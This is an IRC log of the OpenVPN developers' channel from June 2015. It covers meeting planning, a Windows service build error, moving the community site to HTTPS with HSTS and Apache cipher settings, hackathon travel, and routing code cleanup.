22:30 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 22:38 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Fri Jun 12 2015 00:29 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 00:29 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 00:39 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 00:41 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 00:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:54 -!- curmudgeon [~user@122-57-236-45.jetstream.xtra.co.nz] has quit [Quit: Leaving.] 01:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 02:23 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 02:24 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 03:32 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 03:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 03:49 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:11 -!- dazo_afk is now known as dazo 05:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:28 -!- DMS239 [~riv4l@unaffiliated/riv4l] has joined #openvpn-devel 05:30 < DMS239> is there a specific channel that talks about VPN software? 06:46 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 07:03 < esde> ? 10:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 11:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:55 -!- dazo is now known as dazo_afk 12:07 -!- dazo_afk is now known as dazo 12:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 12:31 -!- DMS239 [~riv4l@unaffiliated/riv4l] has quit [Quit: Leaving] 14:34 -!- dazo is now known as dazo_afk 14:48 <@cron2> oh my... yet another openssl update... 19:38 -!- diytto [~diytto@2a01:4f8:162:124::2] has joined #openvpn-devel 20:32 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 22:32 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 22:40 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Sat Jun 13 2015 01:42 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 276 seconds] 01:44 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 04:26 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 276 seconds] 05:19 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 265 seconds] 05:43 -!- Guest75531_n [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 05:46 -!- Guest75531_n_i [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 05:47 -!- Guest75531_n [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 05:50 -!- Guest75531_n_i [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 05:50 -!- Guest75531_n_i [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 05:54 -!- Guest75531_n_i [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 06:00 -!- Guest75531_p [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 06:01 -!- Guest75531_p_i [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 06:02 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:02 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:04 -!- Guest75531_p [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 06:05 -!- Guest75531_p_i [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 06:16 -!- Guest75531 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 06:21 -!- Guest75531 [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 06:34 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 256 seconds] 06:43 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:43 -!- mode/#openvpn-devel [+o andj] by ChanServ 10:31 -!- Guest75531_c [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 10:55 -!- Guest75531_c is now known as s7r 12:08 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 12:15 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:32 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 18:29 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 264 seconds] 18:31 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 18:42 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] --- Day changed Sun Jun 14 2015 00:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:43 <@mattock1> syzzer: what's your analysis on the new openssl release? anything that affects openvpn? 01:43 <@mattock1> I have not heard anything from James 01:56 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 02:08 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 06:39 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:39 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:41 <@syzzer> phew, back online. broken usb stick corrupted my entire hypervisor installation and config :/ did I miss anything since Friday? 08:59 <@ecrist> no 09:00 <@ecrist> mattock1 wanted to know your thoughts on the new openssl release 11:11 <@cron2> syzzer: ouch. But nothing really happened... 11:12 <@cron2> we did an openvpn release, and I got amazingly busy afterwards (and now visiting family, with too many kids, too much food (WAY!) and no brains left...) 12:12 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 12:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 14:04 <@syzzer> ah, thanks 14:05 <@syzzer> ecrist: I tried to check your log of this channel, but it seems to have stopped logging in 2014 15:02 <@mattock1> I could possibly also set up some sort of IRC logging 15:02 <@mattock1> I suspect it just requires a specialized IRC client or something 15:02 <@cron2> vpn-helper was doing it, but has become increasingly lazy 15:02 <@mattock1> ah 15:05 <@syzzer> I also have znc logging my channels, but that doesn't help me if all my VMs go down :') 15:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 15:10 <@plaisthos> syzzer: I have logs of this chanel 15:10 <@plaisthos> If you need them 15:11 <@syzzer> not anymore, got filled in, but I found the public logs very handy at times 15:11 <@cron2> do we have a meeting tomorrow? I think we planend one, but no announcement was sent... 15:11 <@cron2> would be good to sort of realign on 2.4 15:12 * cron2 should be back home in time 15:14 <@syzzer> I should be able to make it oo --- Day changed Mon Jun 15 2015 00:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:21 <@mattock1> gmane archives are hopelessly out of date again 01:21 <@mattock1> no new messages in a week afaics 01:27 <@mattock1> so guys, we've scheduled a meeting for today 01:27 <@mattock1> any topics in mind? 01:47 <@mattock1> ok here are some: https://community.openvpn.net/openvpn/wiki/Topics-2015-06-15 01:47 <@vpnHelper> Title: Topics-2015-06-15 – OpenVPN Community (at community.openvpn.net) 01:47 <@mattock1> let me know if you guys can or can't make it today, so that I can announce or cancel the meeting 02:52 <@mattock1> I just noticed that https://community.openvpn.net/openvpn/admin/spamfilter/monitor can be used to delete spam submissions to Trac 02:52 <@mattock1> instead of, say, closing a ticket after clearing its title & description 03:17 <@mattock1> I turned of "training mode" of Trac's external spam filtering services 03:18 <@mattock1> at least in one case a spam submission would have been caught by one of the services (StopForumSpam) 04:08 -!- dazo_afk is now known as dazo 04:58 <@mattock1> cron2, dazo, syzzer, plaisthos: meeting today? ^^^ 04:58 <@dazo> mattock1: I'm a bit too busy ... but carry on without me 04:59 <@mattock1> dazo: ok, we'll see if anyone else reports in 04:59 <@mattock1> we've scheduled a meeting but we can always postpone 05:20 <@vpnHelper> RSS Update - tickets: #562: FreeBSD 9.3-RELEASE-p16 - OpenVPN 2.3.7 :: Only the first Dialin-IP-Traffic forwarded <https://community.openvpn.net/openvpn/ticket/562> 05:27 <@plaisthos> mattock1: My weekly training 19:30-22:00 collides with Monday meeting 05:28 <@mattock1> plaisthos: ok, too bad 05:28 <@mattock1> its starting to look like the meeting needs to be cancelled 05:28 <@mattock1> everyone has been so quiet 06:06 <@mattock1> ecrist: debbie10t is asking if he's still banned from this channel 06:06 <@mattock1> I guess he'd like to get unbanned (eventually) 06:07 <@plaisthos> wasn't that the one who constantly asked non dev stuff in here when no one answered in #openvpn? 06:09 <@mattock1> probably 06:10 <@mattock1> I believe he's been banned for quite a while 06:10 <@mattock1> I have no opinion on him one way or the other 06:10 <@mattock1> I'll let ecrist et al make the call 06:37 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 06:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:41 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:24 <@mattock1> syzzer: there? 07:24 <@mattock1> I was wondering if I should try to summon jamesyonan to the meeting 07:25 <@mattock1> you guys could work on the AEAD stuff 07:25 <@mattock1> so even if cron2 does not make it the meeting would be useful 07:25 <@mattock1> thoughts? 07:41 <@syzzer> mattock1: not much to discuss atm 07:41 <@syzzer> (wrt AEAD) 07:43 <@syzzer> need time to *do* stuff, but somehow it has been very hard to find time recently 07:43 <@d12fk> syzzer: re interactive service 07:44 <@d12fk> i recalled that there was a bug in gcc 07:44 <@d12fk> maybe that's causing the failure 07:45 <@d12fk> do you use mingw? 07:45 <@syzzer> I get some sort of dependency error message when trying to start the service 07:45 <@syzzer> yes, I build using mingw 07:45 <@d12fk> hm not that's not it then 07:45 <@d12fk> you don't use xp do you? 07:45 <@syzzer> could I perhaps send you my updated patch? then you can see if is still works for you 07:45 <@syzzer> nope, W7 07:45 <@d12fk> what does the error say 07:46 <@syzzer> yeah, I wanted to check that, but then my home server broke down and claimed my hacking hours of the weekend 07:47 <@syzzer> I can try to reproduce the error message tonight 07:49 <@d12fk> ok 07:51 <@mattock1> syzzer: ok, then AEAD is out 07:52 <@ecrist> I'm not interested in unbanning debbie10t 07:52 <@mattock1> ecrist: ok 07:52 <@ecrist> I won't re-ban him if someone chooses to do him a favor, though. 07:53 <@mattock1> if he was banned for a reason then let him be banned 07:53 <@ecrist> he's been banned/unbanned a couple times 07:53 <@mattock1> ah, so he's a repeating offender 07:53 <@mattock1> then there's no point in unbanning him again 07:53 <@ecrist> and banned again, apparently 07:53 <@ecrist> /ban shows two bans for his user/account patterns 07:54 <@ecrist> he used to be a forum moderator 07:54 <@ecrist> I had to take that away, too 07:54 <@mattock1> he seems very eager to do stuff, but also pretty high maintenance 07:54 <@mattock1> he's been filing somewhat useful bug reports 07:55 <@mattock1> so he has found other venues for his activities :P 07:55 <@ecrist> yeah, and I don't know what the source of his problem are, but he's fine for X months, then just goes bat-shit crazy one day 07:55 <@mattock1> hey, while you're here ecrist 07:55 <@mattock1> I asked about turning off http on Trac 07:55 <@mattock1> anything blocking that? 07:55 <@ecrist> can we do a 80 to 443 redirect? 07:56 <@ecrist> or do you want to turn that off, too? 07:56 <@mattock1> if possible I'd go with https only 07:56 <@ecrist> that's going to block most users. 07:56 <@ecrist> and give the potential image of the site being down 07:57 <@mattock1> well we'd obviously need a redirect to prevent that 07:57 <@mattock1> but do we need to allow access from port 80 / http? 07:57 <@ecrist> no, I don't think so 07:57 <@mattock1> ok 07:57 <@ecrist> I think a straight redirect (HTTP 302) would suffice 07:57 <@mattock1> yeah 07:57 <@syzzer> redirect + HSTS ? 07:58 <@mattock1> educate me about HSTS :) 07:58 <@mattock1> ah 07:58 <@mattock1> wikipedia already did 07:58 <@syzzer> on first use, put in the header 'I do https only 07:58 <@syzzer> https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security 07:58 <@vpnHelper> Title: HTTP Strict Transport Security - Wikipedia, the free encyclopedia (at en.wikipedia.org) 07:59 <@ecrist> also, we should run the site through the Qualys ssl labs test 07:59 <@syzzer> so as long as the first connect to your server was not mitm-ed, you're good 07:59 <@ecrist> http://ssllabs.com 07:59 <@vpnHelper> Title: Qualys SSL Labs (at ssllabs.com) 07:59 <@mattock1> ecrist: good idea, although I believe ssllabs juggles the list of "good" ciphers a bit 07:59 <@mattock1> say a vuln is found in one it's immediately "omg that cipher is in the list, give this site bad rating" 08:00 <@mattock1> even if some other ciphers were even worse in some regards 08:00 <@mattock1> still a good idea 08:00 <@ecrist> mattock1: yeah, but I generally find it's a good baseline, and they offer some insight into *why* they downgrade it 08:00 <@mattock1> yep, I'll add that to my "move community to https" task 08:01 <@dazo> mattock1: I'd say that the strict cipher list needed to get an A+ isn't such a bad idea .... of course, it may impact older browsers ... but they're basically outdated, so I don't necessarily see that as a big issue 08:02 <@ecrist> https://www.ssllabs.com/ssltest/analyze.html?d=forums.openvpn.net 08:03 <@vpnHelper> Title: SSL Server Test: forumsopenvpnnet (Powered by Qualys SSL Labs) (at www.ssllabs.com) 08:03 <@ecrist> I'll fix the PFS issue identified there today. 08:04 <@mattock1> dazo: yep, definitely 08:04 <@dazo> ecrist: there also seems to be a CA cert too much too ... server shouldn't need to send cert #4 08:04 <@mattock1> I'm running the test for community also 08:10 <@mattock1> on community ssllabs test complains about protocol support (TLS 1.2/1.1/1.0) 08:10 <@mattock1> fortunately not SSL at all 08:10 <@mattock1> some weak ciphers 08:12 <@ecrist> mattock1: if you're running apache, these are what I use: 08:12 <@ecrist> SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2 08:13 <@ecrist> SSLCipherSuite -ALL:HIGH:!aNULL:!eNULL:!MD5:!DSS:!SRP:+DHE:+ECDHE 08:13 <@ecrist> SSLHonorCipherOrder On 08:14 <@ecrist> Header always set Strict-Transport-Security "max-age=31536000;" 08:17 <@mattock1> yeah, it's apache2 08:17 <@mattock1> I'll make a note of those 08:47 -!- frinnst [~misfit@unaffiliated/frinnst] has joined #openvpn-devel 09:54 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:34 <@cron2> mattock1: re meeting - I'm around, but my only topic really is "realign 2.4", so it depends on syzzer... 10:57 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 11:01 <@cron2> and I'm fine with postponing +2 weeks, too much going on anyway 11:06 <@syzzer> I *can* make it, but I would be fine with postponing 2 weeks too 11:07 <@syzzer> too much going on here too 11:12 <@cron2> postpone, then :) - and let's (both :) ) try to have something to present and review then 11:19 <@cron2> mattock1: can you eventually add 2.3.7 and 2.3.8 to the version dropdown int trac? 11:20 <@cron2> we have the first bug report on 2.3.7 (#562) - while I find it lacking in detail, it should be at least attributed properly :) 11:29 <@dazo> mattock1: when next hackathon is decided ... maybe add it here? https://opensource.com/resources/conferences-and-events-monthly 11:29 <@vpnHelper> Title: The world's premier open source event listing | Opensource.com (at opensource.com) 11:30 <@dazo> unless it'll scare syzzer and his people too much ;-) 11:43 <@cron2> dazo: I'd rather not make it a big official published everywhere event 11:43 <@cron2> those who work on openvpn will find out... 11:44 <@cron2> but of course this year it's all not mine to decide \o/ 11:44 <@dazo> heh :) 11:44 <@dazo> But, yeah, I see your point too 11:45 <@dazo> However, it would be good though if more windows hackers could join in ... and also have more contributors to all those open trac tickets we have 11:50 <@syzzer> dazo: I would not oppose it, but I agree with cron2 that a smaller get-together of active developers feels more useful (and less work to organize ;) ) 11:51 <@syzzer> but I really should send around a doodle soon... 11:52 <@cron2> finding some more windows hackers would be great :) 11:52 <@syzzer> yes, it most definitely would 12:32 <@syzzer> d12fk: I get a "System error 1075 has occurred. The dependency service does not exist or has been marked for deletion." when I try to start the interactive service. that's it, no more info. 12:33 <@syzzer> (but I'm leaving now, going sporting instead of nerding tonight :) ) 12:35 <@cron2> have fun :) 12:35 * cron2 should do more sporting, too 15:14 -!- dazo is now known as dazo_afk 15:44 -!- DancerInShadows [~dancer@ec2-54-186-18-47.us-west-2.compute.amazonaws.com] has joined #openvpn-devel 16:23 < DancerInShadows> hello; I'm hoping this is a quick question, but does anyone know _why_ --port-share is not implemented on Windows builds? 16:24 < DancerInShadows> I tried searching the forums, but the forum search was unable to find "--port-share" even though I've stumbled across it in the forums a few times 16:24 <@cron2> because nobody in their right mind would run a production service on windows? 16:24 * DancerInShadows chuckles 16:24 <@cron2> most likely "because it does not work and nobody has bothered to send a patch"... 16:24 < DancerInShadows> corporate execs are often not in their right minds... 16:24 <@cron2> windows is causing enough troubles as a client platform... 17:10 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 19:16 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has quit [Ping timeout: 255 seconds] --- Day changed Tue Jun 16 2015 00:29 <@mattock1> cron2: 2.3.7 added 00:29 <@mattock1> trac requires a release date for each version, so it's probably best to add 2.3.8 when it's released 00:30 <@mattock1> I was wrong, the release date was not mandatory, so I added 2.3.8 also 01:31 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:31 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 02:37 <@cron2> mattock1: thanks 02:37 <@cron2> mattock2: thanks 02:37 <@cron2> mattock3: thanks 02:37 <@cron2> mattock4: thanks 02:37 <@cron2> just to be sure 02:55 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 02:58 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:42 <@plaisthos> DancerInShadows: because it uses a very specific api under Linux that is not implemented on many other platforms 03:42 <@plaisthos> iirc it is linux specific 03:44 <@plaisthos> you could probably use other techniques to implement on windows but sofar nobody did that 03:45 <@plaisthos> It is probably easier just to implemented a proxy that does the same 04:11 -!- dazo_afk is now known as dazo 04:18 <@dazo> cron2: I'm believe mattock\d: would work too .... ;-) 04:19 <@dazo> mattock1: Why don't you configure an irc bouncer ... and connect all your clients to that one instead ... then you have one nick everywhere :) (I'm using znc, which works wonderfully) 04:32 <@d12fk> syzzer: do you get it when you start the service? 04:39 <@cron2> dazo: I think I'll just start mailing him my responses instead (knowing he hates that) :-) 05:38 <@syzzer> d12fk: yes 05:42 <@d12fk> syzzer: starnge never had that 05:42 <@d12fk> did you change anything inside openvpnserv/ ? 06:04 <@syzzer> d12fk: hmm, I think I changed the #include of the file in compat, to make everything compile using the mingw and make 06:04 <@syzzer> but other than that, I didn't tough it 06:11 <@syzzer> d12fk: here's the diff-diff for openvpnserv/ between your patch and my version: http://pastebin.com/QMz8Lnhc 06:17 <@d12fk> I use cygwin to compile, do you also use it? 06:45 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has left #openvpn-devel ["?RETURN WITHOUT GOSUB"] 06:48 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 06:48 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:54 <@syzzer> d12fk: no, I cross-compile from linux 06:54 <@d12fk> what mingw version do you have? 06:55 <@d12fk> syzzer: I have 06:55 <@d12fk> $ i686-w64-mingw32-gcc --version 06:55 <@d12fk> i686-w64-mingw32-gcc (GCC) 4.8.2 06:56 <@d12fk> do you run 64 bit maybe? 06:56 <@syzzer> 4.9.2, from the ubuntu packages 06:56 <@syzzer> yes, I do run 64-bit 06:56 <@d12fk> never tried that 06:57 <@d12fk> could you try the i686 mingw just to make sure its not that 06:57 <@syzzer> yes, probably. I'll try tonight. 06:58 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:09 <@syzzer> sneak preview of the hackthon doodle: http://doodle.com/c3g8pazviin3hy45 07:09 <@vpnHelper> Title: Doodle: OpenVPN hackathon (at doodle.com) 07:09 <@syzzer> I'll send around a mail later too 07:22 <@cron2> you nicely avoided the weekend in October where I'm totally unavailable :) 07:28 <@syzzer> heh, good 07:30 <@dazo> syzzer: how far away is Amsterdam? 07:30 <@cron2> 1h by train or so 07:31 <@dazo> I see Rotterdam airport is quite close ... but hard to find flights going there 07:31 <@syzzer> from Munich Rotterdam is very doable, but using public transport Amsterdam might be easier 07:32 <@cron2> bahn.de claims "50 minutes by train AMS -> Den Haag" 07:32 <@cron2> (amsterdam centraal) 07:32 * cron2 is not booking flights yet :) 07:32 <@dazo> okay, if I need to go via Amsterdam ... otherwise I need to go via Munich or Vienna ... :/ 07:33 <@syzzer> definitly go for amsterdam 07:33 <@dazo> or even better Oslo -> Munich -> Vienna -> Rotterdam :-P 07:33 <@plaisthos> dazo: :) 07:33 <@cron2> sounds like a nice plan :) 07:33 <@syzzer> it's about as far from Delft and the munich airport is from munich :') 07:33 <@cron2> at least we have a working airport! 07:34 <@dazo> ahh :) 07:34 <@cron2> (not like Berlin...) 07:34 <@plaisthos> dazo: for lufthansa you can get frequent flyer status with 30 segements 07:34 <@plaisthos> a flight like that and back gives you already 6/30 :) 07:34 <@cron2> \o/ 07:34 <@dazo> plaisthos: hehe .... but not sure I'm willing to spend 8 hours traveling and waiting at airports ... ;-) 07:34 <@plaisthos> dazo: :D 07:34 <@plaisthos> syzzer: what is the nearest airport to delft? 07:35 <@syzzer> Rotterdam 07:35 <@syzzer> but in terms of public transport the difference with amsterdam is not big 07:36 <@plaisthos> hm pad -> muc -> rtm 07:36 <@syzzer> :') 07:36 <@plaisthos> or pad -> muc -> fra -> ams 07:36 <@plaisthos> which is faster :D 07:36 <@cron2> google flight search is so amazing... shows me the calendar, and nicely puts a price on each day so I can directly see... 07:36 <@cron2> MUC-AMS seems to have cheaper flights 07:38 <@cron2> 164 EUR MUC-Rotterdam, 115 EUR MUC-AMS (for the weekend 6.11.-8.11.) 07:39 <@plaisthos> yeah google flights shows 250 EUR for me for that weekend 07:40 <@cron2> plaisthos: isn't train much more sane for you? 07:40 <@plaisthos> cron2: probablby :) 07:41 <@cron2> mmmh, 5h, changing trains 2 times... not THAT sane either 07:41 <@plaisthos> cron2: wah 07:41 <@plaisthos> cron2: I need 4:50h for train 07:41 <@cron2> plaisthos: that was paderborn->den haag as displayed by bahn.de 07:43 <@cron2> MUC->DH is best served by the night train to AMS and then by IC to DH :-) - otherwise about 8 hours 07:43 <@plaisthos> I search paderborn -> delft with bahn.de 07:44 <@plaisthos> oh 8h isn't that nice 07:44 <@plaisthos> but since it goes to .nl it will not show any prcies for the trip :/ 07:52 <@plaisthos> oh 07:52 <@plaisthos> when looking in the near future it shows prices 07:57 <@plaisthos> Europa-Spezial Niederlande 1.Klasse: 98 EUR 08:16 -!- frinnst [~misfit@unaffiliated/frinnst] has left #openvpn-devel [] 08:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:00 -!- fixi [~fixi@unaffiliated/fixi] has joined #openvpn-devel 11:00 < fixi> hey 11:01 < fixi> !meetings 11:01 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 11:01 < fixi> !git 11:01 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 11:01 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 11:35 <@d12fk> oh hackathon, that could help 11:39 <@d12fk> 6.5h per train at least 12:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:19 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:19 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 13:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 13:36 < DancerInShadows> thank you plaisthos 13:37 < DancerInShadows> I wish I knew enough about programming to implement it myself, but I'm just starting to learn my first language 13:54 <@dazo> Interesting read on the Linux network stack and performance: https://blog.cloudflare.com/how-to-receive-a-million-packets/ 13:54 <@vpnHelper> Title: How to receive a million packets per second (at blog.cloudflare.com) 13:55 <@dazo> (not too useful for OpenVPN currently ... but is enlightening) 14:34 -!- dazo is now known as dazo_afk 14:40 <@syzzer> d12fk: just tried with w32 build, same thing 14:41 <@syzzer> I could try to use mattock's build scripts, they seem to produce correct windows binaries... but later, other stuff first now 15:18 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 16:58 <@vpnHelper> RSS Update - tickets: #563: OpenVPN 2.3.7: using --management-hold causes PID file to not be written <https://community.openvpn.net/openvpn/ticket/563> 17:36 <@syzzer> dazo_afk: interesting read indeed. I read bits and pieces before, but this guy nicely puts it together 18:16 <@vpnHelper> RSS Update - tickets: #564: openvpn connection stops when network interface is removed <https://community.openvpn.net/openvpn/ticket/564> --- Day changed Wed Jun 17 2015 02:17 <@cron2> syzzer: #563 might be our doing (--daemon...) 03:04 <@syzzer> cron2: seems that way, yes 03:05 <@syzzer> it was almost inevitable that commit would break *something* 03:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:14 <@cron2> yep, but nevertheless worth doing it 03:19 <@syzzer> indeed 03:30 <@cron2> the malloc()/calloc() thing (just looked at dazo's patch set) is quite *large*... so maybe do that late in the 2.4 process when we also do the reformatting? Because after that, cherrypicking to "before the schism" will quite often have to be done manually 04:33 -!- dazo_afk is now known as dazo 04:41 <@cron2> bah 04:42 <@cron2> the freebsd bits in tun.c are just annoying... there's a helper add_route3(), but no, we don't call it, but duplicate that code inside tun.c... 04:43 <@cron2> 3 times... (Solaris, Darwin, FreeBSD). Plus, the FreeBSD copy has whitespace messed up 04:46 <@cron2> and why exactly are we considering failure to call ifconfig S_FATAL, but mostly ignore failure to add routes...? 04:46 <@dazo> cron2: It would be interesting to see how different or alike the routing features of the NETLINK API is between all *BSD we support and Linux ... if it is very close, we could perhaps skip calling route/iproute2 directly on all these platforms, just use the kernel API 04:47 <@dazo> (AFAIR, Linux NETLINK API was designed with a lot of inspiration from one of the BSD variants, don't recall which now) 04:48 <@mattock1> guys: I've almost managed to openvpn-build to sign openvpn-gui.exe _before_ it adds it to openvpn-gui-installer.exe... the problem is that strip strips symbols from openvpn-gui.exe _after_ signing, which breaks the signature 04:48 <@cron2> it might actually be quite similar, but my "how do I twiddle netlink on platform <X> to get what I want?" research is not very far yet 04:48 <@mattock1> what exactly is the point in stripping openvpn-gui.exe? 04:48 <@cron2> mattock1: size? 04:48 <@cron2> debug symbols are likely to increase the .exe size by x2 or so 04:48 <@mattock1> I have absolutely no clue, hence I'm asking 04:48 <@mattock1> do you know if Make strips executable by default? 04:49 <@mattock1> because before my "make installer" installer target was added to Makefile.am in openvpn-gui there was no explicit stripping involved 04:49 <@cron2> it really depends on how you invoke gcc - if you run gcc with "-g", it will generate debug info. If not, no need to strip... 04:49 <@cron2> but I won't claim to understand what AUTOMAKE wonder you need to invoke to tell it "strip first, sign later" 04:50 <@cron2> did I mention that I do not like automake very much...? maybe recently? 04:51 <@cron2> dazo: I'll find out, at least for querying routes (which our linux bits do by reading /proc/net/route... and all the other unixes are [2.4] using the very same code with a few #ifdefs for struct size :) ) 04:52 -!- fixi [~fixi@unaffiliated/fixi] has left #openvpn-devel [] 04:52 <@mattock1> cron2: I'll have a look at the gcc options... so far the size difference does not seem too big 04:53 <@dazo> cron2: here's the RFC for the Linux implementation: https://tools.ietf.org/html/rfc3549#section-3.1 04:53 <@vpnHelper> Title: RFC 3549 - Linux Netlink as an IP Services Protocol (at tools.ietf.org) 04:53 <@cron2> dazo: have you actually tried understanding that, and creating code based on that understanding? ;-) 04:54 <@dazo> cron2: I actually did that in an early iteration of python-ethtool, but later on switched to using libnl .... py-ethtool uses netlink to query for IP address information, and the netlink approach was needed for IPv6 support 04:55 * dazo looks if he got some code laying around 04:59 * cron2 is totally impressed and hands dazo his huge chunk of remaining IPv6 routing work for 2.4 :-) 04:59 <@cron2> lalala, no more work to do 04:59 <@dazo> hehehe 05:01 <@dazo> cron2: Didn't find any code, as I had already refactored py-ethtool to use libnl on the first commit with IPv6 support .... but here's an article on the topic, with code examples .... http://www.linuxjournal.com/article/7356 05:01 <@vpnHelper> Title: Kernel Korner - Why and How to Use Netlink Socket | Linux Journal (at www.linuxjournal.com) 